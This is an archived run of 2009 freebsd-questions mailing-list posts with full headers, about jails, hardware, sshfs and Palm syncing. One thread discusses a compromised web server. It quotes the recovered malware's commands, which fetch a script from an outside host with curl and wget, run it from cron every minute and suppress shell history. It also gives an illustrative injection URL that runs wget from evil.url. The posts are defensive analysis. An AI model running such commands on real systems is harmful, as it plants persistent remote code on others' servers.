b=vsDlOCGij3RMTEJrF95i0cp3dySotndJwR3slfHILWRvE3AmFMSbUaUMjwlV9/K4gS KUVas04BP0ZedGsMiF13MRsHhMaAAtUn1wD3LzlvwCISlbh+Gz9vxcjkiwGzCsbh+7qS yWHL7hmS5GUeVOJys+Jgwj93jMW2KExnBIzss= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type:content-transfer-encoding; b=sPPygUbIVds1H6ah13QhY7naQnQZsO/d+tj3uOZLa+mC+0t4XTd5/i1VXauHrhkS7x R4LK9GuPb7ugI6N6vBeTv7j0Ktsixb+epURtsIuqIUBRLdALQWsboyV50QjFF0Ev1Dqr QOa1waI7VxCfmsxrV6f6m087bpskUZZakL0tE= MIME-Version: 1.0 Received: by 10.204.160.86 with SMTP id m22mr4837882bkx.82.1251382444272; Thu, 27 Aug 2009 07:14:04 -0700 (PDT) In-Reply-To: <200908271135.13045.erich@apsara.com.sg> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> <200908271135.13045.erich@apsara.com.sg> From: APseudoUtopia Date: Thu, 27 Aug 2009 10:13:44 -0400 Message-ID: <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 14:14:06 -0000 On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollansky wrote: > Hi, > > On 27 August 2009 am 11:10:37 Adam Vande More wrote: >> On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia > wrote: >> > >> > Also, how memory-intensive is a jail? >> >> Very light when compared to other virtualization methods. > > jails share the kernel but not the world. > > So, there will be only one kernel loaded but all libraries in use > will be loaded individually by each jail when needed. > > Jails need some more disk space as the world, all libraries needed > and all applications needed are installed individually in each > jail. > > This can be minimised with proper planning of what runs it what > jail. > > Erich > Thanks for the helpful replies. I have a couple of questions: When a jail is compromised, the only thing I have to do to recover the system is delete the jail and create a new one, correct? The host system is untouched even if a jail is compromised? And how does the upgrade process work? I know the userland must be the same for the host system and the jail. If I want to upgrade to, say, FreeBSD 8 when released, what is the process? I'd imagine it goes something like this, but I'm not sure: -Shut down jail -Upgrade host system -Install host binaries -Install jail binaries -Restart jail Or is there more to the process than what it seems? Thanks again. From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 14:18:12 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 32CC71065692 for ; Thu, 27 Aug 2009 14:18:12 +0000 (UTC) (envelope-from riaank@gmail.com) Received: from mail-qy0-f197.google.com (mail-qy0-f197.google.com [209.85.221.197]) by mx1.freebsd.org (Postfix) with ESMTP id E28C58FC39 for ; Thu, 27 Aug 2009 14:18:11 +0000 (UTC) Received: by qyk35 with SMTP id 35so620343qyk.14 for ; Thu, 27 Aug 2009 07:18:08 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=0VStXioSNab7HQgut51cvWGfO+ZYt4ivzKgctky6S1E=; b=wbNTKemnO6PHGpJJ6J3oEUvUFmYxw/CTZkXbuak0nUfu+cFmUafdfhyl0DLMXoFNlc iGPYUMOjNXVSlFPjJxjMrKIm6fwDQHuSQXj1LD42l2kTcM64QCakLIRzpNSMensjHejz +kKu264TequonCXa0bqPEvvA9MLsDPT+rq4JA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=p+stPCys26sYyFh0b3vtoJGmLuLjBEnwHs/6VJeZjK8jM63Z0i1ad1diWtsstL0bSM Srkve8mA4STGV1VYt1fpEHlbR7QkseAeUkzgN5vwdXsdh+lZ1+yfGC2KMjr6gbhasAIP TEMd6m4N8wHu7jx8L7rDJRx5ZAAZj2PhXLMIU= MIME-Version: 1.0 Received: by 10.229.93.4 with SMTP id t4mr2776200qcm.93.1251380760637; Thu, 27 Aug 2009 06:46:00 -0700 (PDT) Date: Thu, 27 Aug 2009 15:46:00 +0200 Message-ID: <85c4b1850908270646p342093dat6ce2928b4192ae57@mail.gmail.com> From: Riaan Kruger To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: X.21 PCI Express Cards for FreeBSD 7 or later X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 14:18:12 -0000 Does anybody know of a X.21 (PCI Express From factor) card that works under FBSD7 or later. It is quite hard to figure out from the hardware/release notes. Thanx Riaan From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 14:45:04 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E5A96106568C for ; Thu, 27 Aug 2009 14:45:04 +0000 (UTC) (envelope-from rdv@roalddevries.nl) Received: from smtpq-100.prolocation.net (smtpq-100.prolocation.net [94.228.129.100]) by mx1.freebsd.org (Postfix) with ESMTP id AE21E8FC1C for ; Thu, 27 Aug 2009 14:45:04 +0000 (UTC) Received: from ip82-139-83-74.lijbrandt.net ([82.139.83.74]) by relay.prolocation.net with esmtp (Exim 4.69) (envelope-from ) id 1MgfxC-00021N-Ie; Thu, 27 Aug 2009 16:27:54 +0200 Message-Id: <5B3ED87F-4C2D-4422-9A97-A4D694AB7794@roalddevries.nl> From: Roald de Vries To: patrick In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v935.3) Date: Thu, 27 Aug 2009 16:27:45 +0200 References: <695FE1DB-81E6-41C3-94FF-2858E57D86A5@roalddevries.nl> X-Mailer: Apple Mail (2.935.3) Cc: freebsd-questions@freebsd.org Subject: Re: fusefs-sshfs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 14:45:05 -0000 Dear Patrick, I'm running 7.1; I have /dev/fuse0. How did you do it? Roald On Aug 27, 2009, at 4:55 AM, patrick wrote: > Which version of FreeBSD are you running? I just installed sshfs on > 7.2, and while I didn't get it working right away, I did eventually do > it. Do you have /dev/fuse0? > > Patrick > > > On Mon, Aug 17, 2009 at 2:15 PM, Roald de Vries > wrote: >> Dear all, >> >> I've installed fusefs-sshfs, and added fusefs_enable="YES" to >> rc.conf. >> During startup, I see fusefs being started, but when I do: "sshfs >> remote:~ >> /media/remote", I get "fuse: failed to open fuse device: No such >> file or >> directory". Any idea why? Thanks in advance. >> >> Kind regards, >> >> Roald >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org >> " >> > From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 15:03:04 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9EBCB10656A5 for ; Thu, 27 Aug 2009 15:03:04 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-yw0-f175.google.com (mail-yw0-f175.google.com [209.85.211.175]) by mx1.freebsd.org (Postfix) with ESMTP id 544048FC3D for ; Thu, 27 Aug 2009 15:03:04 +0000 (UTC) Received: by ywh5 with SMTP id 5so1489125ywh.13 for ; Thu, 27 Aug 2009 08:03:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=K+06Tw7GgX3o1Huoi4VJl6V4nmokgvHdwjWOmQYRQpE=; b=OEG1f1AWcB0QUj7x9HWwlOUB6WKp5MouzovJ3vegBLqx4a35XRy42DMYJqepc7KolX D7PdV82XrH3+CieLFJhB0DO79h4WnCQMTf5Biyq6ONjIDXpyQLTA1jqI66A6VJPEu5w6 q0tD7wh0Iw87SQ67TybZ+feimHVSXnIEi0lYI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=beXnTxslvWQTvvfgFbkoTfznklM1/AEIJDLryJONAPskw4pwIW6/rrybS8NdCIVZuf S44Y3sfQv7TMgb8FgM5Ktk50k1N5r+d34VEGwbWLTpXxwXG82Ec36fNNzCCmO3y/iJBM nccQqZx4usCWt3H88rq37ybeOAH/nUnwEpUbU= MIME-Version: 1.0 Received: by 10.150.113.3 with SMTP id l3mr14519117ybc.90.1251385383224; Thu, 27 Aug 2009 08:03:03 -0700 (PDT) In-Reply-To: <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> <200908271135.13045.erich@apsara.com.sg> <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> Date: Thu, 27 Aug 2009 10:03:03 -0500 Message-ID: <6201873e0908270803k639b4742w1211d686607f7e9@mail.gmail.com> From: Adam Vande More To: APseudoUtopia Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 15:03:04 -0000 On Thu, Aug 27, 2009 at 9:13 AM, APseudoUtopia wrote: > On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollansky > wrote: > > Hi, > > > > On 27 August 2009 am 11:10:37 Adam Vande More wrote: > >> On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia > > wrote: > >> > > >> > Also, how memory-intensive is a jail? > >> > >> Very light when compared to other virtualization methods. > > > > jails share the kernel but not the world. > > > > So, there will be only one kernel loaded but all libraries in use > > will be loaded individually by each jail when needed. > > > > Jails need some more disk space as the world, all libraries needed > > and all applications needed are installed individually in each > > jail. > > > > This can be minimised with proper planning of what runs it what > > jail. > > > > Erich > > > > Thanks for the helpful replies. I have a couple of questions: > > When a jail is compromised, the only thing I have to do to recover the > system is delete the jail and create a new one, correct? The host > system is untouched even if a jail is compromised? Really depends on how you're using the jail, but under standard usage yes. > > > And how does the upgrade process work? I know the userland must be the > same for the host system and the jail. If I want to upgrade to, say, > FreeBSD 8 when released, what is the process? I'd imagine it goes > something like this, but I'm not sure: > -Shut down jail > -Upgrade host system > -Install host binaries > -Install jail binaries > -Restart jail > > Or is there more to the process than what it seems? That's the basic process, however as mentioned before checkout ezjail. It makes administering multiple jails much easier and can save you disk space. > > > Thanks again. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 15:04:10 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DA974106568F for ; Thu, 27 Aug 2009 15:04:10 +0000 (UTC) (envelope-from afmcc@btinternet.com) Received: from smtp822.mail.ird.yahoo.com (smtp822.mail.ird.yahoo.com [217.146.188.232]) by mx1.freebsd.org (Postfix) with SMTP id 434FF8FC3B for ; Thu, 27 Aug 2009 15:04:09 +0000 (UTC) Received: (qmail 9612 invoked from network); 27 Aug 2009 15:04:09 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=btinternet.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:In-Reply-To:References:X-Mailer:Mime-Version:Content-Type:Content-Transfer-Encoding; b=nJdvxrGLwY60fbKoxVXsoiPu0HJE9rMX51THxU2JSgPAFxA/fA9bc69tPHCH7iTBbEaYuOhIuM6m4Vzz9bmlrgFiH301U6aJ/+9DqCZOWH1w4CTJRUTF9L2ODdtzv0iS23M0k80cTRCcp4/Hpm2FR5R4X+qOS6y8P8lzq1SrW7Q= ; Received: from unknown (HELO elena) (afmcc@81.151.54.225 with login) by smtp822.mail.ird.yahoo.com with SMTP; 27 Aug 2009 15:04:08 -0000 X-Yahoo-SMTP: SW2apSyswBAt0gNRBekT9336f.by6cx.6GfQeJfVJ_9U X-YMail-OSG: ywqarYIVM1nMZhQFcCHjwo0tE6py_A_QxXIFiXMy9k92P9JiZa.e.B_d1WpbYeSMmuKhTnfGmgv.X.ZnDcPPWkr5YA6SdfToNEo.qDjCnxx84ZVo2YWK4I0AI7rZlKrWDcqaM4DCLGLevaNz2U44X.DpVpPIzJfl2wHapDi5DH1kDNCI1_9h_y__UTIWAfv_0EHhCqxlB3Xdy0PocDSBo3gzMLq31khtAINcJTYjj5dL5elC0ySvJEd02moNnRp9Umj1tWyFncXrJ9vUlS2kamoaWw_cq9BueXtOH7VzQTEqDGPXc5y2jJJweKyCuZnMSNqcBtwkEjrBR1UuolCiQ0ZDVMufdIR_90OwMiOqQA-- X-Yahoo-Newman-Property: ymail-3 Date: Thu, 27 Aug 2009 16:04:09 +0100 From: Tony McC To: freebsd-questions@freebsd.org Message-ID: <20090827160409.04f990e4@elena> In-Reply-To: <20090827073622.GA1252@gothic.blackend.org> References: <20090826185425.1cd3b7d9@elena> <20090827073622.GA1252@gothic.blackend.org> X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; amd64-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 15:04:10 -0000 On Thu, 27 Aug 2009 09:36:22 +0200 Marc Fonvieille wrote: > First you need to have uvisor(4) loaded (compiled in the kernel or via > the loaded module). Last uvisor(4) revision was not merged in BETA3 > so you will have to wait for the merge or directly grab it from > > http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/sys/dev/usb/serial/uvisor.c?rev=1.12;content-type=text%2Fplain;only_with_tag=HEAD > > replace you src/sys/dev/usb/serial/uvisor.c with that one and rebuild > your module/kernel > > Then if you plug your device and launch Hotsync on the Palm > a /dev/cuaU0 device should appear. You should check that. > If you have jpilot installed, palm/pilot-link tools are installed (be > sure it was compiled with USB support), so once the /dev/cuaU0 device > node is created you can type: > > # pilot-xfer -p /dev/cuaU0 -l > > this should list the installed files on your device, > > # pilot-xfer -p /dev/cuaU0 -b your_backup_dir > > to backup your palm on your PC. > > If these commands worked, then jpilot should work as well. > Marc, many thanks, that was a great help. I uncommented uvisor in the kernel config file, installed the newer uvisor.c, rebuilt and installed the new kernel. Pressing the hotsync button did indeed create a /dev/cuaU0 but I had to add myself to the 'dialer' group to use it. Palm syncing now works again with jpilot! BTW, when might that newer uvisor.c be merged into the RELENG_8 sources? Thanks also to Roland. I already had add path 'usb/*' in my /etc/devfs.rules. Best wishes, Tony From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 16:05:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 298CA106568B for ; Thu, 27 Aug 2009 16:05:20 +0000 (UTC) (envelope-from jeremyhooks@googlemail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id AA5FB8FC3A for ; Thu, 27 Aug 2009 16:05:19 +0000 (UTC) Received: by ey-out-2122.google.com with SMTP id 4so305467eyf.9 for ; Thu, 27 Aug 2009 09:05:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=sz84UaU3hwYOnaxtThjcmdoWCnAGYL/8LT/VpTkpm6Q=; b=UcA4S7+RRBmmJNh1+iIwlSmfoictsNcEzGu9Hnnh1sJ31VeMf3OFZmXaKzsc0PX3nS lC9LgWX+xltR1VYXgRyRbtVf4UPmoXoJczXzpUrRXKj5b3+5Dq1AU3g7CRWrWYQOSb5m G5MB58iO9n5HeMEOpZ7zUem42QKCJEj/8uO5E= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=cI7f23YB84Gz4NN9V/bjDAW4use/mdjYsHhh4FJbPjLZUd1zmbSSTHcEUyKR+CtXiR 1wzkkBPEqNDLNmA8ef8Bx2qcqxo61GNLBSzb7gTxY3S+wSkwT654K02lENX/LkV38Uwt GuixSLLkaeR2lOQKsaoJuObNm77cw+kDj2tMs= MIME-Version: 1.0 Received: by 10.216.11.210 with SMTP id 60mr2008017wex.188.1251387308725; Thu, 27 Aug 2009 08:35:08 -0700 (PDT) In-Reply-To: <25167487.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> <25149559.post@talk.nabble.com> <25167487.post@talk.nabble.com> Date: Thu, 27 Aug 2009 16:35:08 +0100 Message-ID: From: Jeremy Hooks To: Colin Brace Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 16:05:20 -0000 Hi Colin. I thought I'd just add my tuppence here. Some time ago I suffered a similar exploit, albeit on a Linux box, with Apache and a different PHP web app (Horde if I recall correctly). There are a number of ways your server could have been comprised via a PHP webapp, and a mailling list probably isn't the best place to give you a tutorial on the likes of cross-site scripting and code injection. What I can do is tell you roughly how my site was infected via a code injection - to give you an idea of how important it is to learn more about it if you are running a webserver (espescially one with third party web apps installed). In my case, I was able to learn quite a bit about how the exploit was performed by looking in my Apache logs. Primarily because the attack exploited an HTTP GET variable, so I could actually grep the name of the script that was download from the logs. Basically all it took was for someone to construct a URL similar to the following*: http://www.myserver.com/vulnerable_script.php?unchecked_variable=3D"some_= value; exec('wget http://evil.url/virus.pl -O /tmp/virus.pl'); exec('/tmp/virus.pl')"; All it needs then is a bit of code on the server side which uses the GET variable verbatum to build a line of code without checking the variable. If the above variable were used in the construction of a line of PHP, in an (extra) unsafe manner, you would end up with several lines of PHP. Clearly building code from a user supplied variable is a very bad idea, and doing so without checking the variable... - however it isn't unheard of in the world of third party web apps (it isn't unheard of in in-house web apps either, however because that are not so widespread there is less chance that the exploit will be found, and probably less to gain from exploiting it). The attack against your server was almost certainly automated and most likely not even targetted at you. If you check your error logs, you will probably see lots of 'file not found' and similar errors, testing for vulnerabilities in ASP scripts and PHP web apps which you don't have installed - in much the same way that you will have SSH login failures for users who don't exist on your system. Using an incoming and outgoing firewall is clearly a must on a dedicated web server. Running an outgoing server on your desktop is a bit more complicated as you would probably want to allow certain applications to setup outgoing connections. I don't know how you do this on a FreeBSD system. However something that no one seems to have mentioned yet is running an application level firewall to protect your web server, this is particularly important if you are running popular third party web applications. Once a flaw has been found in a popular web app, it is very easily for the malware writers to attempt to exploit this on thousands of webservers. A web application firewall, such as Mod_Security for Apache (not sure what is available for lighttpd), will check the traffic to your HTTP server for any irregularities, known exploits and potential exploits. HTH Jeremy * the URL I wrote probably isn't even valid, it is just a demonstration, so just treat it as psuedocode. 2009/8/27 Colin Brace : > > > Colin Brace wrote: >> >> ahhhhh, another directory found in /tmp with files written by www called >> .bash/ Contents here: >> >> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz >> > Apropos of the contents of the above, a correspondent writes: > > [...] > running 'strings' on /tmp/owned will show > "HISTFILE=3D/dev/null > cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > echo '*/1 * * * * perl /tmp/tmpfile' >cron.job > crontab cron.job > rm -rf cron.job > chmod 0100 /tmp/tmpfile 2>&1 >/dev/null > perl /tmp/tmpfile 2>&1 >/dev/null" > [...] > > So this would be the original mischief-maker. > > Just out of curiousity, can someone explain to me in basic terms how an > intruder exploits a vulnerability such as apparently existed on my system > (the RoundCube webmail package was apparently the culprit) to place the > binary file "owned" in /tmp and execute it? > > Thanks > > ----- > =A0Colin Brace > =A0Amsterdam > =A0http://lim.nl > -- > View this message in context: http://www.nabble.com/what-www-perl-script-= is-running--tp25112050p25167487.html > Sent from the freebsd-questions mailing list archive at Nabble.com. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 16:28:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C922F106568B for ; Thu, 27 Aug 2009 16:28:47 +0000 (UTC) (envelope-from apseudoutopia@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 4B3188FC2C for ; Thu, 27 Aug 2009 16:28:47 +0000 (UTC) Received: by bwz2 with SMTP id 2so1008074bwz.43 for ; Thu, 27 Aug 2009 09:28:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type :content-transfer-encoding; bh=GEgR1ck389SAf5aCXC/mhzs1c5XHlJE58GiiIX3CEHs=; b=wjtPMA5AC0dotcTVjDvF6bKHGL+n56tKHJQWG00OlG/yzNJvmS9Qxz5PRN4C3Wq85g TJMLKN1i9BgDbz3MkfJOdOH5nNFbt45qGWIHqdG1+go7eT7TDd0iqfC+/1/ncM0CYGh0 jD+3QJJbcfljTqG9324cyq5yDE/ZmqiVFe1qA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type:content-transfer-encoding; b=MXNevnCNxs+P/Lp3I8bYrm2hsoAHkyd17KWMNwXu7VE8NRi7XvEqMg9QrXYtUJXI7i l6ddVDIIc8cCw6Z8QyWDIFDw9LArybNpCIMAbK638yLgCgy59QlRUIvhFJA7N/wy9Xs0 XXMjTBl1zN3LSbzEZoTcikSjP2bx/tLvfv4wE= MIME-Version: 1.0 Received: by 10.204.161.204 with SMTP id s12mr5039894bkx.26.1251390526139; Thu, 27 Aug 2009 09:28:46 -0700 (PDT) In-Reply-To: <6201873e0908270803k639b4742w1211d686607f7e9@mail.gmail.com> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> <200908271135.13045.erich@apsara.com.sg> <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> <6201873e0908270803k639b4742w1211d686607f7e9@mail.gmail.com> From: APseudoUtopia Date: Thu, 27 Aug 2009 12:28:26 -0400 Message-ID: <27ade5280908270928s256bed30s2cc75587b22577b1@mail.gmail.com> To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 16:28:48 -0000 On Thu, Aug 27, 2009 at 11:03 AM, Adam Vande More wr= ote: > On Thu, Aug 27, 2009 at 9:13 AM, APseudoUtopia > wrote: >> >> On Wed, Aug 26, 2009 at 11:35 PM, Erich Dollansky >> wrote: >> > Hi, >> > >> > On 27 August 2009 am 11:10:37 Adam Vande More wrote: >> >> On Wed, Aug 26, 2009 at 9:59 PM, APseudoUtopia >> > wrote: >> >> > >> >> > Also, how memory-intensive is a jail? >> >> >> >> Very light when compared to other virtualization methods. >> > >> > jails share the kernel but not the world. >> > >> > So, there will be only one kernel loaded but all libraries in use >> > will be loaded individually by each jail when needed. >> > >> > Jails need some more disk space as the world, all libraries needed >> > and all applications needed are installed individually in each >> > jail. >> > >> > This can be minimised with proper planning of what runs it what >> > jail. >> > >> > Erich >> > >> >> Thanks for the helpful replies. I have a couple of questions: >> >> When a jail is compromised, the only thing I have to do to recover the >> system is delete the jail and create a new one, correct? The host >> system is untouched even if a jail is compromised? > > Really depends on how you're using the jail, but under standard usage yes= . >> >> >> And how does the upgrade process work? I know the userland must be the >> same for the host system and the jail. If I want to upgrade to, say, >> FreeBSD 8 when released, what is the process? I'd imagine it goes >> something like this, but I'm not sure: >> -Shut down jail >> -Upgrade host system >> -Install host binaries >> -Install jail binaries >> -Restart jail >> >> Or is there more to the process than what it seems? > > That's the basic process, however as mentioned before checkout ezjail.=C2= =A0 It > makes administering multiple jails much easier and can save you disk spac= e. >> >> >> Thanks again. Ok, thanks. Two more questions then I should be ready to go with my jail(s). In order to minimize the HDD space of the jail, can I add things in my src.conf such as WITHOUT_BOOT, WITHOUT_ACPI, WITHOUT_PF? I do use pf on the host system, but it isn't needed inside the jail as well, correct? Also, is it possible to compile a port (specifically nginx) inside the host, then simply cp it into the jail and run it? I'd like to do this to avoid installing a compiler into the jail itself. Thanks again for the help. From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 16:43:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 207C3106568D for ; Thu, 27 Aug 2009 16:43:05 +0000 (UTC) (envelope-from marc@blackend.org) Received: from abigail.blackend.org (ns0.blackend.org [82.227.222.164]) by mx1.freebsd.org (Postfix) with ESMTP id 9D01F8FC46 for ; Thu, 27 Aug 2009 16:43:03 +0000 (UTC) Received: from abigail.blackend.org (localhost [127.0.0.1]) by abigail.blackend.org (8.13.4/8.13.3) with ESMTP id n7RGh0vQ087594; Thu, 27 Aug 2009 18:43:00 +0200 (CEST) (envelope-from marc@abigail.blackend.org) Received: (from marc@localhost) by abigail.blackend.org (8.13.4/8.13.3/Submit) id n7RGh02P087593; Thu, 27 Aug 2009 18:43:00 +0200 (CEST) (envelope-from marc) Date: Thu, 27 Aug 2009 18:43:00 +0200 From: Marc Fonvieille To: Tony McC Message-ID: <20090827164300.GA87559@abigail.blackend.org> References: <20090826185425.1cd3b7d9@elena> <20090827073622.GA1252@gothic.blackend.org> <20090827160409.04f990e4@elena> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090827160409.04f990e4@elena> X-Useless-Header: blackend.org X-Operating-System: FreeBSD 4.11-STABLE User-Agent: Mutt/1.5.9i Cc: freebsd-questions@freebsd.org Subject: Re: Problem syncing Palm TX with jpilot on FreeBSD 8.0-BETA3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 16:43:05 -0000 On Thu, Aug 27, 2009 at 04:04:09PM +0100, Tony McC wrote: > > Marc, many thanks, that was a great help. I uncommented uvisor in the > kernel config file, installed the newer uvisor.c, rebuilt and installed > the new kernel. Pressing the hotsync button did indeed create > a /dev/cuaU0 but I had to add myself to the 'dialer' group to use it. > Palm syncing now works again with jpilot! > Great! > BTW, when might that newer uvisor.c be merged into the RELENG_8 sources? > Hopefully, It should be available in 8.0-RELEASE. > Thanks also to Roland. I already had add path 